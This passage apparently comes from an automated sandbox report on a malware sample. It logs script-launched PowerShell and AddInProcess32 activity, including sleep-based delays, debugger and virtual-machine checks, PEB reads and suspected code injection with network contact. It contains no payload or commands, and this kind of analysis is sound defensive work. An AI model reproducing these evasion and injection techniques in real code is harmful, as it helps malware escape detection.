Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6126	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3601	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4260
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5513
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6706
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2937
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6236
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3487
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6241
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6552
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3081
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 7168
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2550
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5643
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4071
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6982
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2769

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	API coverage: 0.8 %
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	API coverage: 0.3 %
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	API coverage: 0.3 %
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	API coverage: 0.3 %

Source: C:\Windows\System32\wscript.exe TID: 7104	Thread sleep time: -90000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\wscript.exe TID: 6892	Thread sleep time: -60000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6332	Thread sleep time: -6456360425798339s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 4180	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6552	Thread sleep time: -11068046444225724s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 1060	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6716	Thread sleep time: -11068046444225724s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 5984	Thread sleep time: -30000s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6248	Thread sleep time: -9223372036854770s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 6040	Thread sleep time: -30000s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5728	Thread sleep time: -10145709240540247s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 6392	Thread sleep time: -30000s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6436	Thread sleep time: -12912720851596678s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 1908	Thread sleep time: -30000s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5028	Thread sleep time: -5534023222112862s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 1120	Thread sleep time: -30000s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7124	Thread sleep time: -10145709240540247s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 2268	Thread sleep time: -30000s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6412	Thread sleep time: -10145709240540247s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 6416	Thread sleep time: -30000s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1708	Thread sleep time: -9223372036854770s >= -30000s

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\desktop.ini	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft	Jump to behavior

Source: wscript.exe, 00000000.00000003.2142682570.0000021315A84000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2163847317.0000021315A84000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.2168596475.0000021315A84000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWll.mui#o.0
Source: wscript.exe, 00000000.00000003.2142682570.0000021315A84000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2163847317.0000021315A84000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.2168596475.0000021315A84000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: wscript.exe, 00000000.00000003.2167136542.0000021315A25000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2148962279.0000021315A43000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.2168519101.0000021315A43000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2167296728.0000021315A3C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2165814195.0000021315A25000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2142780136.0000021315A3E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process queried: DebugPort
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process queried: DebugPort
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process queried: DebugPort
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process queried: DebugPort
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process queried: DebugPort
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process queried: DebugPort
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process queried: DebugPort

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Code function: 5_2_0191D1C0 rdtsc

5_2_0191D1C0

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Code function: 5_2_00DC7593 LdrLoadDll,

5_2_00DC7593

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018E0185 mov eax, dword ptr fs:[00000030h]	5_2_018E0185
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_0192019F mov eax, dword ptr fs:[00000030h]	5_2_0192019F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_0192019F mov eax, dword ptr fs:[00000030h]	5_2_0192019F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_0192019F mov eax, dword ptr fs:[00000030h]	5_2_0192019F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_0192019F mov eax, dword ptr fs:[00000030h]	5_2_0192019F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_0195C188 mov eax, dword ptr fs:[00000030h]	5_2_0195C188
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_0195C188 mov eax, dword ptr fs:[00000030h]	5_2_0195C188
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_0189A197 mov eax, dword ptr fs:[00000030h]	5_2_0189A197
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_0189A197 mov eax, dword ptr fs:[00000030h]	5_2_0189A197
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_0189A197 mov eax, dword ptr fs:[00000030h]	5_2_0189A197
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018F7190 mov eax, dword ptr fs:[00000030h]	5_2_018F7190
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_019511A4 mov eax, dword ptr fs:[00000030h]	5_2_019511A4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_019511A4 mov eax, dword ptr fs:[00000030h]	5_2_019511A4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_019511A4 mov eax, dword ptr fs:[00000030h]	5_2_019511A4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_019511A4 mov eax, dword ptr fs:[00000030h]	5_2_019511A4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018BB1B0 mov eax, dword ptr fs:[00000030h]	5_2_018BB1B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_0191E1D0 mov eax, dword ptr fs:[00000030h]	5_2_0191E1D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_0191E1D0 mov eax, dword ptr fs:[00000030h]	5_2_0191E1D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_0191E1D0 mov ecx, dword ptr fs:[00000030h]	5_2_0191E1D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_0191E1D0 mov eax, dword ptr fs:[00000030h]	5_2_0191E1D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_0191E1D0 mov eax, dword ptr fs:[00000030h]	5_2_0191E1D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_019661C3 mov eax, dword ptr fs:[00000030h]	5_2_019661C3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_019661C3 mov eax, dword ptr fs:[00000030h]	5_2_019661C3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_019751CB mov eax, dword ptr fs:[00000030h]	5_2_019751CB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018DD1D0 mov eax, dword ptr fs:[00000030h]	5_2_018DD1D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018DD1D0 mov ecx, dword ptr fs:[00000030h]	5_2_018DD1D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018C51EF mov eax, dword ptr fs:[00000030h]	5_2_018C51EF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018C51EF mov eax, dword ptr fs:[00000030h]	5_2_018C51EF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018C51EF mov eax, dword ptr fs:[00000030h]	5_2_018C51EF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018C51EF mov eax, dword ptr fs:[00000030h]	5_2_018C51EF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018C51EF mov eax, dword ptr fs:[00000030h]	5_2_018C51EF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018C51EF mov eax, dword ptr fs:[00000030h]	5_2_018C51EF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018C51EF mov eax, dword ptr fs:[00000030h]	5_2_018C51EF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018C51EF mov eax, dword ptr fs:[00000030h]	5_2_018C51EF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018C51EF mov eax, dword ptr fs:[00000030h]	5_2_018C51EF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018C51EF mov eax, dword ptr fs:[00000030h]	5_2_018C51EF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018C51EF mov eax, dword ptr fs:[00000030h]	5_2_018C51EF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018C51EF mov eax, dword ptr fs:[00000030h]	5_2_018C51EF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018C51EF mov eax, dword ptr fs:[00000030h]	5_2_018C51EF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018A51ED mov eax, dword ptr fs:[00000030h]	5_2_018A51ED
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_019471F9 mov esi, dword ptr fs:[00000030h]	5_2_019471F9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_019761E5 mov eax, dword ptr fs:[00000030h]	5_2_019761E5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018D01F8 mov eax, dword ptr fs:[00000030h]	5_2_018D01F8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_01960115 mov eax, dword ptr fs:[00000030h]	5_2_01960115
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_0194A118 mov ecx, dword ptr fs:[00000030h]	5_2_0194A118
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_0194A118 mov eax, dword ptr fs:[00000030h]	5_2_0194A118
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_0194A118 mov eax, dword ptr fs:[00000030h]	5_2_0194A118
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_0194A118 mov eax, dword ptr fs:[00000030h]	5_2_0194A118
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018D0124 mov eax, dword ptr fs:[00000030h]	5_2_018D0124
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018A1131 mov eax, dword ptr fs:[00000030h]	5_2_018A1131
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018A1131 mov eax, dword ptr fs:[00000030h]	5_2_018A1131
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_0189B136 mov eax, dword ptr fs:[00000030h]	5_2_0189B136
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_0189B136 mov eax, dword ptr fs:[00000030h]	5_2_0189B136
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_0189B136 mov eax, dword ptr fs:[00000030h]	5_2_0189B136
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_0189B136 mov eax, dword ptr fs:[00000030h]	5_2_0189B136
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_01899148 mov eax, dword ptr fs:[00000030h]	5_2_01899148
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_01899148 mov eax, dword ptr fs:[00000030h]	5_2_01899148
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_01899148 mov eax, dword ptr fs:[00000030h]	5_2_01899148
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_01899148 mov eax, dword ptr fs:[00000030h]	5_2_01899148
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_01975152 mov eax, dword ptr fs:[00000030h]	5_2_01975152
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_01938158 mov eax, dword ptr fs:[00000030h]	5_2_01938158
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_01934144 mov eax, dword ptr fs:[00000030h]	5_2_01934144
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_01934144 mov eax, dword ptr fs:[00000030h]	5_2_01934144
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_01934144 mov ecx, dword ptr fs:[00000030h]	5_2_01934144
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_01934144 mov eax, dword ptr fs:[00000030h]	5_2_01934144
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_01934144 mov eax, dword ptr fs:[00000030h]	5_2_01934144
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018A7152 mov eax, dword ptr fs:[00000030h]	5_2_018A7152
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018A6154 mov eax, dword ptr fs:[00000030h]	5_2_018A6154
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018A6154 mov eax, dword ptr fs:[00000030h]	5_2_018A6154
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_0189C156 mov eax, dword ptr fs:[00000030h]	5_2_0189C156
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_01939179 mov eax, dword ptr fs:[00000030h]	5_2_01939179
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_0189F172 mov eax, dword ptr fs:[00000030h]	5_2_0189F172
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_0189F172 mov eax, dword ptr fs:[00000030h]	5_2_0189F172
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_0189F172 mov eax, dword ptr fs:[00000030h]	5_2_0189F172
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_0189F172 mov eax, dword ptr fs:[00000030h]	5_2_0189F172
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_0189F172 mov eax, dword ptr fs:[00000030h]	5_2_0189F172
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_0189F172 mov eax, dword ptr fs:[00000030h]	5_2_0189F172
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_0189F172 mov eax, dword ptr fs:[00000030h]	5_2_0189F172
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_0189F172 mov eax, dword ptr fs:[00000030h]	5_2_0189F172
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_0189F172 mov eax, dword ptr fs:[00000030h]	5_2_0189F172
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_0189F172 mov eax, dword ptr fs:[00000030h]	5_2_0189F172
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_0189F172 mov eax, dword ptr fs:[00000030h]	5_2_0189F172
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_0189F172 mov eax, dword ptr fs:[00000030h]	5_2_0189F172
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_0189F172 mov eax, dword ptr fs:[00000030h]	5_2_0189F172
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_0189F172 mov eax, dword ptr fs:[00000030h]	5_2_0189F172
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_0189F172 mov eax, dword ptr fs:[00000030h]	5_2_0189F172
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_0189F172 mov eax, dword ptr fs:[00000030h]	5_2_0189F172
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_0189F172 mov eax, dword ptr fs:[00000030h]	5_2_0189F172
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_0189F172 mov eax, dword ptr fs:[00000030h]	5_2_0189F172
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_0189F172 mov eax, dword ptr fs:[00000030h]	5_2_0189F172
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_0189F172 mov eax, dword ptr fs:[00000030h]	5_2_0189F172
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_0189F172 mov eax, dword ptr fs:[00000030h]	5_2_0189F172
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018A208A mov eax, dword ptr fs:[00000030h]	5_2_018A208A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_0189D08D mov eax, dword ptr fs:[00000030h]	5_2_0189D08D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018D909C mov eax, dword ptr fs:[00000030h]	5_2_018D909C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018A5096 mov eax, dword ptr fs:[00000030h]	5_2_018A5096
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018CD090 mov eax, dword ptr fs:[00000030h]	5_2_018CD090
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018CD090 mov eax, dword ptr fs:[00000030h]	5_2_018CD090
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_019660B8 mov eax, dword ptr fs:[00000030h]	5_2_019660B8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_019660B8 mov ecx, dword ptr fs:[00000030h]	5_2_019660B8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018B70C0 mov eax, dword ptr fs:[00000030h]	5_2_018B70C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018B70C0 mov ecx, dword ptr fs:[00000030h]	5_2_018B70C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018B70C0 mov ecx, dword ptr fs:[00000030h]	5_2_018B70C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018B70C0 mov eax, dword ptr fs:[00000030h]	5_2_018B70C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018B70C0 mov ecx, dword ptr fs:[00000030h]	5_2_018B70C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018B70C0 mov ecx, dword ptr fs:[00000030h]	5_2_018B70C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018B70C0 mov eax, dword ptr fs:[00000030h]	5_2_018B70C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018B70C0 mov eax, dword ptr fs:[00000030h]	5_2_018B70C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018B70C0 mov eax, dword ptr fs:[00000030h]	5_2_018B70C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018B70C0 mov eax, dword ptr fs:[00000030h]	5_2_018B70C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018B70C0 mov eax, dword ptr fs:[00000030h]	5_2_018B70C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018B70C0 mov eax, dword ptr fs:[00000030h]	5_2_018B70C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018B70C0 mov eax, dword ptr fs:[00000030h]	5_2_018B70C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018B70C0 mov eax, dword ptr fs:[00000030h]	5_2_018B70C0
